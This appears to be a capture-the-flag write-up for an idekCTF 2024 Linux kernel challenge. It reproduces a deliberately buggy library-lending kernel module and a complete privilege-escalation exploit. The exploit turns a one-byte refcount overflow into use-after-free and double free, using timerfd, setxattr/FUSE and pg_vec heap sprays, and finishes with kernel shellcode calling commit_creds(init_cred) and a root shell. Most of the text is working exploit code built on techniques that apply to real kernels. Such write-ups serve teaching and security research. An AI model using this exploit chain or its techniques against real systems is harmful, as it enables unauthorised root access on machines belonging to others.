Dead Pwners Society -- Kernel Oops, Refcount Overflow and USMA [idekCTF 2024] - Sat, Aug 17, 2024

struct book {
    char name[0x40];
    uint64_t idx;
    struct list_head book_list; 
    struct list_head loan_list;
    uint64_t note_size; 
    uint64_t note_addr; 
    struct reference ref;
    char info[0x79];
}; 

struct reference {
    uint8_t val;
};
static int reference_init(struct reference *ref) {
    ref->val = 1; 
    return 0; 
}

static int reference_get(struct reference *ref) {
    ref->val = ref->val + 1; 
    return 0;
}

static int reference_put(struct reference *ref) {
    ref->val = ref->val - 1; 
    return 0;
}

struct req {
    uint64_t idx;
    uint64_t name_addr;
    uint64_t note_size;
    uint64_t note_addr;
    uint64_t info_addr;
};

        case DO_CREATE: { 
            // Lock the mutex
            mutex_lock(&book_mutex);
            
            // Create the book object and set idx
            book = kzalloc(sizeof(struct book), GFP_KERNEL); 
            book->idx = book_count; 
            book_count = book_count + 1;
            
            // Copy name into the book object
            ret = copy_from_user(buf, (void __user *) user_data.name_addr, 0x40-1);
            memcpy(&book->name, buf, 0x40-1); 
            memset(buf, 0, sizeof(buf));
            
            // Copy info into the book object
            ret = copy_from_user(buf, (void __user *) user_data.info_addr, 0x79-1);
            memcpy(&book->info, buf, 0x79-1);
            memset(buf, 0, sizeof(buf));
            
            // Create the note 
            book->note_size = user_data.note_size; 
            note = kzalloc(book->note_size, GFP_KERNEL); // If this fails, it will return 0 or ZERO_SIZE_PTR = 0x10
            if ((note != 0) && ((uint64_t) note != 0x10)) { 
                ret = copy_from_user(buf, (void __user *) user_data.note_addr, book->note_size-1);
                memcpy((void *) note, buf, book->note_size-1); 
                book->note_addr = (uint64_t) note;
            }
            
            // Initialize the refcount 
            reference_init(&book->ref); 
            
            // Add the book object to book_list
            list_add_tail(&book->book_list, &book_head);
            pr_info("Created book at index %lld\n", book->idx);
            
            // Unlock the mutex and return
            mutex_unlock(&book_mutex);
            return 0; 
            break;
        }

        case DO_DELETE: {
            // Lock the mutex
            mutex_lock(&book_mutex);
            
            list_for_each(ptr, &book_head) {
                entry = list_entry(ptr, struct book, book_list);
                if (entry->idx == user_data.idx) {
                    
                    // Check that the refcount is only one, or not fail
                    if (entry->ref.val != 1) {
                        mutex_unlock(&book_mutex);
                        return -1;
                        break;
                    }
                    
                    // Decrease the refcount to zero
                    reference_put(&entry->ref); 
                    
                    // Unlink it from the linked list
                    list_del(&entry->book_list); 
                    
                    // Free the note object 
                    if (entry->note_addr != 0) { 
                        kfree((void *) entry->note_addr);
                        entry->note_addr = 0; 
                    }
                    
                    // Free the book object
                    kfree(entry);
                    pr_info("Deleted book at index %lld\n", user_data.idx);

                    // Unlock the mutex
                    mutex_unlock(&book_mutex);
                    return 0;
                }
            }
            // Failure path
            mutex_unlock(&book_mutex);
            return -1;
            break;
        }

        case DO_BORROW: {
            // Lock mutexes
            mutex_lock(&book_mutex);
            mutex_lock(&loan_mutex);
            
            list_for_each(ptr, &book_head) {
                entry = list_entry(ptr, struct book, book_list);
                if (entry->idx == user_data.idx) {
                    
                    // Check that the refcount is greater than 0 but less than 10 
                    if ((entry->ref.val == 0) || (entry->ref.val > 10)) {
                        mutex_unlock(&book_mutex);
                        mutex_unlock(&loan_mutex);
                        return -1;
                        break;
                    }
                    
                    // Check if book is in loan list, if not, add it
                    list_for_each(loan_ptr, &loan_head) {
                        loan_entry = list_entry(loan_ptr, struct book, loan_list);
                        if (loan_entry->idx == entry->idx) {
                            found = 1; 
                            break;
                        }
                    }
                    
                    if (found == 0) {
                        list_add_tail(&entry->loan_list, &loan_head);
                    }
                    
                    // Increment the refcount
                    reference_get(&entry->ref);
                    
                    // Unlock the mutex
                    mutex_unlock(&book_mutex);
                    mutex_unlock(&loan_mutex);
                    return 0; 
                }
            }
            // Failure path
            mutex_unlock(&book_mutex);
            mutex_unlock(&loan_mutex);
            return -1;
            break;
        }

        case DO_READ: {
            list_for_each(loan_ptr, &loan_head) {
                loan_entry = list_entry(loan_ptr, struct book, loan_list);
                if (loan_entry->idx == user_data.idx) {

                    pr_info("Read book at index %lld\n", user_data.idx);
                    
                    // Increase the refcount
                    reference_get(&loan_entry->ref); 
                    
                    // Copy the note -- null pointer deref here if note_addr is 0 🪲 
                    memcpy(buf, (void *) loan_entry->note_addr, loan_entry->note_size-1);
                    ret = copy_to_user((void __user *)user_data.note_addr, buf, loan_entry->note_size-1);
                    
                    // Copy the name 
                    memset(buf, 0, sizeof(buf)); 
                    memcpy(buf, &loan_entry->name, 0x40-1);
                    ret = copy_to_user((void __user *)user_data.name_addr, buf, 0x40-1);
                    
                    // Copy the info
                    memset(buf, 0, sizeof(buf)); 
                    memcpy(buf, &loan_entry->info, 0x79-1);
                    ret = copy_to_user((void __user *)user_data.info_addr, buf, 0x79-1);
                    
                    // Decrease the refcount 
                    reference_put(&loan_entry->ref); 
                    return 0;
                }
            }
            return -1;
            break;
        }

        case DO_NOTE: {
            mutex_lock(&book_mutex);
            mutex_lock(&loan_mutex);
            list_for_each(loan_ptr, &loan_head) {
                loan_entry = list_entry(loan_ptr, struct book, loan_list);
                if (loan_entry->idx == user_data.idx) {
                
                    pr_info("Changing note for book at index %lld\n", user_data.idx);
                    
                    // Increase the refcount
                    reference_get(&loan_entry->ref); 
                    
                    // Free the old note
                    if (loan_entry->note_addr != 0) { 
                        kfree((void *) loan_entry->note_addr);
                        loan_entry->note_addr = 0; 
                    }
                    
                    // Create the new note
                    loan_entry->note_size = user_data.note_size; 
                    note = kzalloc(loan_entry->note_size, GFP_KERNEL); 
                    if ((note != 0) && ((uint64_t) note != 0x10)) { 
                        ret = copy_from_user(buf, (void __user *) user_data.note_addr, loan_entry->note_size-1);
                        memcpy((void *) note, buf, loan_entry->note_size-1); 
                        loan_entry->note_addr = (uint64_t) note;
                    }
                    
                    // Decrease the refcount 
                    reference_put(&loan_entry->ref); 
                    
                    // Unlock mutex
                    mutex_unlock(&book_mutex);
                    mutex_unlock(&loan_mutex); 
                    
                    return 0;
                }
            }
            // Failure path
            mutex_unlock(&book_mutex);
            mutex_unlock(&loan_mutex);
            return -1;
            break;
        }

        case DO_RETURN: { 
            // Lock mutexes
            mutex_lock(&book_mutex);
            mutex_lock(&loan_mutex);
            
            list_for_each(loan_ptr, &loan_head) {
                loan_entry = list_entry(loan_ptr, struct book, loan_list);
                if (loan_entry->idx == user_data.idx) {
                
                    // Check that the refcount is not equal to 1 or 0, if so, fail
                    if (loan_entry->ref.val < 2) {
                        // Unlock mutexes
                        mutex_unlock(&book_mutex);
                        mutex_unlock(&loan_mutex);
                        return -1; 
                        break;
                    }
                    
                    // Decrement refcount
                    reference_put(&loan_entry->ref); 
                    
                    // If refcount is now 1 after decrement, remove from loan_list
                    if (loan_entry->ref.val == 1) {
                        list_del(&loan_entry->loan_list); 
                    }
                    
                    // Unlock mutexes and finish
                    mutex_unlock(&book_mutex);
                    mutex_unlock(&loan_mutex);
                    return 0; 
                    break;
                }
            }
            // Failure path
            mutex_unlock(&book_mutex);
            mutex_unlock(&loan_mutex);
            return -1; 
            break;
        }

    printf("STAGE 1: SETUP\n"); 
    printf("[+] Initial setup\n");
    cpu_set_t cpu;
    CPU_ZERO(&cpu);
    CPU_SET(0, &cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpu)) {
        perror("sched_setaffinity");
        exit(-1);
    }
    
    // Setup FUSE pipes for sync
    socketpair(AF_LOCAL, SOCK_STREAM, 0, &fuse_pipe1[0]);
    socketpair(AF_LOCAL, SOCK_STREAM, 0, &fuse_pipe2[0]);
    
    // Make FUSE directory
    printf("[+] Making FUSE directory /tmp/fuse_dir\n");
    if (mkdir("/tmp/fuse_dir", 0777)) {
        perror("[!] mkdir FUSE failed");
    }
    sleep(1); 
    
    // Start the FUSE filesystem
    printf("[+] Starting FUSE filesystem\n");
    if (!fork()) {
        dup2(1, 666);
        fuse_main(argc, argv, &operations, NULL);
    }
    sleep(1); 
    dup2(1, 667); 
    
    // Open FUSE files
    fuse_fd = open("/tmp/fuse_dir/exp", O_RDWR);
    fuse_fd2 = open("/tmp/fuse_dir/exp2", O_RDWR);
    
    // Do mmap for FUSE
    printf("[+] Perform mmap\n"); 
    copy_map = mmap((void*)0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    if (copy_map == MAP_FAILED) {
        perror("[!] copy_map mmap failed"); 
        exit(-1);
    }
    printf("[+] copy_map: %p\n", copy_map);
    
    block_map = mmap(copy_map+0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd, 0);
    printf("[+] block_map: %p\n", block_map);
    if (block_map != (copy_map+0x1000)) {
        perror("[!] block_map mmap failed"); 
        exit(-1);
    }
    
    copy_map2 = mmap(copy_map+0x3000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    if (copy_map2 == MAP_FAILED) {
        perror("[!] copy_map2 mmap failed"); 
        exit(-1);
    }
    printf("[+] copy_map2: %p\n", copy_map2);
    
    block_map2 = mmap(copy_map+0x4000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd2, 0);
    printf("[+] block_map2: %p\n", block_map2);
    if (block_map2 != (copy_map+0x4000)) {
        perror("[!] block_map2 mmap failed"); 
        exit(-1);
    }
    
    // Enter sandbox
    unshare(CLONE_NEWUSER);
    unshare(CLONE_NEWNET);
    
    // Open librarymodule device
    printf("[+] Opening library device\n");
    if ((fd = open("/dev/librarymodule", O_RDONLY)) < 0) {
        perror("[!] Failed to open miscdevice");
        exit(-1);
    }

    // Create book 0
    memset(name, 0x41, sizeof(name)); 
    memset(note, 0x42, sizeof(note)); 
    memset(info, 0x43, sizeof(info));
    create_book(name, 0x0, note, info); 
    
    // Borrow book 0
    borrow_book(0);

    // Read book 0 to cause the refcount to loop back to 1
    for (int i = 0; i < 0xff; i++) {
        system("./increment");
    }

int main(void) {
    char name[0x100]; 
    char note[0x100]; 
    char info[0x100]; 
    
    // Open librarymodule device
    if ((fd = open("/dev/librarymodule", O_RDONLY)) < 0) {
        perror("[!] Failed to open miscdevice");
        exit(-1);
    }
    
    // Read 0
    memset(name, 0, sizeof(name)); 
    memset(note, 0, sizeof(note)); 
    memset(info, 0, sizeof(info));
    read_book(0, name, note, info); 
    return 0;  
}

    // Delete book 0 to get UAF
    delete_book(0); 

    // Spray timerfds to reclaim UAF object
    printf("[+] Spraying timerfds\n");
    for (int i = 0; i < NUM_TIMERFDS; i++) {
        timerfds[i] = timerfd_create(CLOCK_REALTIME, 0); 
        timerValue.it_value.tv_sec = 1;
        timerValue.it_value.tv_nsec = 0;
        timerValue.it_interval.tv_sec = 1;
        timerValue.it_interval.tv_nsec = 0;
        timerfd_settime(timerfds[i],  0, &timerValue, NULL); 
    }   
    sleep(1);

    // Replace the note so that it doesn't crash
    note_book(0, 0x10, note); 
    
    // Read to get leaks
    memset(name, 0x0, sizeof(name)); 
    memset(note, 0x0, sizeof(note)); 
    memset(info, 0x0, sizeof(info)); 
    read_book(0, name, note, info);
    
    kheap_256_addr = ((uint64_t *)&name)[0];
    printf("[+] kmalloc-256 addr: 0x%llx\n", kheap_256_addr); 
    
    kernel_leak = ((uint64_t *)&name)[5];
    printf("[+] Kernel text leak: 0x%llx\n", kernel_leak); 
    
    kernel_base = kernel_leak - 0x411fd0; 
    printf("[+] Kernel text base: 0x%llx\n", kernel_base); 
    
    char *kcmp = kernel_base + 0x166730; 
    printf("[+] Kernel text kcmp: 0x%llx\n", kcmp); 

setxattr
    -> setxattr_copy
        -> vmemdup_user

static long
setxattr(struct mnt_idmap *idmap, struct dentry *d,
	const char __user *name, const void __user *value, size_t size,
	int flags)
{
	struct xattr_name kname;
	struct xattr_ctx ctx = {
		.cvalue   = value,
		.kvalue   = NULL,
		.size     = size,
		.kname    = &kname,
		.flags    = flags,
	};
	int error;

	error = setxattr_copy(name, &ctx);
	if (error)
		return error;

	error = do_setxattr(idmap, d, &ctx);

	kvfree(ctx.kvalue);
	return error;
}

...

int setxattr_copy(const char __user *name, struct xattr_ctx *ctx)
{
	int error;

	if (ctx->flags & ~(XATTR_CREATE|XATTR_REPLACE))
		return -EINVAL;

	error = strncpy_from_user(ctx->kname->name, name,
				sizeof(ctx->kname->name));
	if (error == 0 || error == sizeof(ctx->kname->name))
		return  -ERANGE;
	if (error < 0)
		return error;

	error = 0;
	if (ctx->size) {
		if (ctx->size > XATTR_SIZE_MAX)
			return -E2BIG;

		ctx->kvalue = vmemdup_user(ctx->cvalue, ctx->size);
		if (IS_ERR(ctx->kvalue)) {
			error = PTR_ERR(ctx->kvalue);
			ctx->kvalue = NULL;
		}
	}

	return error;
}

...

void *vmemdup_user(const void __user *src, size_t len)
{
	void *p;

	p = kvmalloc(len, GFP_USER);
	if (!p)
		return ERR_PTR(-ENOMEM);

	if (copy_from_user(p, src, len)) {
		kvfree(p);
		return ERR_PTR(-EFAULT);
	}

	return p;
}

static int do_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi)  {
    dprintf(666, "--> Trying to read %s, %u, %u\n", path, offset, size);
    char signal; 
    
    if (strcmp(path, "/exp") == 0) {
        dprintf(666, "[+] FUSE: Block 1 reached\n");
        read(fuse_pipe1[0], &signal, 1); // Block here
        dprintf(666, "[+] FUSE: Block 1 released\n");
    } else if (strcmp(path, "/exp2") == 0) {
        dprintf(666, "[+] FUSE: Block 2 reached\n");
        read(fuse_pipe2[0], &signal, 1); // Block here
        dprintf(666, "[+] FUSE: Block 2 released\n");
    }
    return size; 
}

    copy_map = mmap((void*)0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    block_map = mmap(copy_map+0x1000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd, 0);

void * setxattr_worker() {
    while (1) {
        if (spray1 == 1) {
            cpu_set_t cpu;
            CPU_ZERO(&cpu);
            CPU_SET(0, &cpu);
            if (sched_setaffinity(0, sizeof(cpu_set_t), &cpu)) {
                perror("sched_setaffinity");
                exit(-1);
            }
            setxattr("/tmp", "aa", block_map-8-128, 200, 0);
        }
    }
}
...
    // in main()
    // Setup setxattr heap spray
    printf("[+] Setup setxattr heap spray\n");
    for (int i = 0; i < NUM_SETXATTR; i++) {
        pthread_create(&thread[i], NULL, setxattr_worker, NULL);
    }
    ...
    // Setup copy_map for setxattr spray 
    target_addr = block_map-8-128;
    ((uint64_t*)target_addr)[0] = 0x4141414141414141;
    ((uint64_t*)target_addr)[8] = 0x0; // idx
    ((uint64_t*)target_addr)[14] = kheap_256_addr; // note_addr 

    // Free timerfds
    printf("[+] Freeing timerfds\n"); 
    for (int i = 0; i < NUM_TIMERFDS-1; i++) {
        close(timerfds[i]);
    }
    sleep(1);
    
    // Spray setxattr x FUSE to reclaim victim object
    printf("[+] Spraying setxattr\n"); 
    spray1 = 1; 
    sleep(1); 
    
    // Stop the spray
    printf("[+] Stopping the setxattr spray\n"); 
    spray1 = 0; 

    printf("[+] Perform first free of double free\n"); 
    note_book(0, 0x10, note); 
    sleep(2); 

static int packet_mmap(struct file *file, struct socket *sock,
		struct vm_area_struct *vma)
{
	struct sock *sk = sock->sk;
	struct packet_sock *po = pkt_sk(sk);
	unsigned long size, expected_size;
	struct packet_ring_buffer *rb;
	unsigned long start;
	int err = -EINVAL;
	int i;

	if (vma->vm_pgoff)
		return -EINVAL;

	mutex_lock(&po->pg_vec_lock);

	expected_size = 0;
	for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
		if (rb->pg_vec) {
			expected_size += rb->pg_vec_len
						* rb->pg_vec_pages
						* PAGE_SIZE;
		}
	}

	if (expected_size == 0)
		goto out;

	size = vma->vm_end - vma->vm_start;
	if (size != expected_size)
		goto out;

	start = vma->vm_start;
	for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
		if (rb->pg_vec == NULL)
			continue;

		for (i = 0; i < rb->pg_vec_len; i++) {
			struct page *page;
			void *kaddr = rb->pg_vec[i].buffer;
			int pg_num;

			for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) {
				page = pgv_to_page(kaddr);                              // <-- [1]
				err = vm_insert_page(vma, start, page);                 // <-- [2]
				if (unlikely(err))
					goto out;
				start += PAGE_SIZE;
				kaddr += PAGE_SIZE;
			}
		}
	}

	atomic_long_inc(&po->mapped);
	vma->vm_ops = &packet_mmap_ops;
	err = 0;

out:
	mutex_unlock(&po->pg_vec_lock);
	return err;
}

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
	unsigned int block_nr = req->tp_block_nr;
	struct pgv *pg_vec;
	int i;

	pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN); // <-- [3]
	if (unlikely(!pg_vec))
		goto out;

	for (i = 0; i < block_nr; i++) {
		pg_vec[i].buffer = alloc_one_pg_vec_page(order);
		if (unlikely(!pg_vec[i].buffer))
			goto out_free_pgvec;
	}

out:
	return pg_vec;

out_free_pgvec:
	free_pg_vec(pg_vec, order, block_nr);
	pg_vec = NULL;
	goto out;
}

int spray_pg_vec(uint64_t size) {
    int s = socket(AF_PACKET, SOCK_RAW, 0);
    int pkt_ver = TPACKET_V3;
    uint32_t blocksiz = 0x1000, framesiz = 0x1000 / 2;
    setsockopt(s, SOL_PACKET, PACKET_VERSION, &pkt_ver, sizeof(pkt_ver));
    
    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = blocksiz;
    req.tp_frame_size = framesiz;
    req.tp_block_nr = size/8;
    req.tp_frame_nr = (blocksiz * (size/8)) / framesiz;
    req.tp_retire_blk_tov = 0xffffffff;
    req.tp_sizeof_priv = 0;
    req.tp_feature_req_word = 0;
    
    setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    
    return s;
}
...
    // In main()
    // Spray pg_vec
    printf("[+] Spray pg_vec\n");
    for (int i = 0; i < NUM_PGVECS; i++) {
        pgvecs[i] = spray_pg_vec(256); 
    }
    sleep(1); 

    // Setup the second setxattr spray
    printf("[+] Setup setxattr heap spray 2\n");
    for (int i = 0; i < NUM_SETXATTR; i++) {
        pthread_create(&thread2[i], NULL, setxattr_worker2, NULL);
    }
    
    // Prepare block_map2 data (to overwrite pg_vec)
    target_addr = block_map2-200;
    for (int i = 0; i < 200/8; i++) {
        ((uint64_t*)target_addr)[i] = (char*)((uintptr_t)kcmp & ~(uintptr_t)0xFFF) + (0x1000 * i); 
    }

    // Release setxattr spray to get second free
    printf("[+] Releasing setxattr spray\n"); 
    write(fuse_pipe1[1], "A", 1);
    sleep(2); 
    
    // Spray second setxattr spray
    printf("[+] Spraying second setxattr spray\n"); 
    spray2 = 1; 
    sleep(2); 

/*
    mov rdi, init_cred
    mov rax, commit_creds
    call rax
    ret
*/
uint8_t shellcode[] = {
    0x90, 0x90,
    0x48, 0xbf, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41,
    0x48, 0xb8, 0x68, 0x67, 0x66, 0x65, 0x64, 0x63, 0x62, 0x61,
    0xff, 0xd0,
    0xc3
};
...
    // In main()
    printf("[+] Preparing shellcode\n"); 
    init_cred = kernel_base + 0x1c567e0; 
    commit_creds = kernel_base + 0xe1460; 
    memcpy(shellcode+4, &init_cred, 8);
    memcpy(shellcode+14, &commit_creds, 8);

    printf("[+] Perform mmap\n"); 
    for (int i = 0; i < NUM_PGVECS; i++) {
        if (!pgvecs[i]) {
            continue;
        }
        pgaddr[i] = mmap(NULL, ((256/8) * 0x1000), PROT_READ | PROT_WRITE, MAP_SHARED, pgvecs[i], 0);
    }

    printf("[+] Write shellcode to memory\n"); 
    int occ = 0;
    for (int occ = 0; occ < NUM_PGVECS; occ++) {
        if (((uint64_t*)pgaddr[occ])[0] == 0x204e8b492e74d285) {
            examine(pgaddr[occ], 5);
            memcpy(pgaddr[occ]+0x730, shellcode, sizeof(shellcode));
            break;
        }
    }

    printf("[+] PWN TIME\n"); 
    syscall(312);
    if (getuid() == 0) {
        printf("[+] I'm root!!!");
        system("/bin/bash");
    } else {
        printf("[!] No root :<\n"); 
    }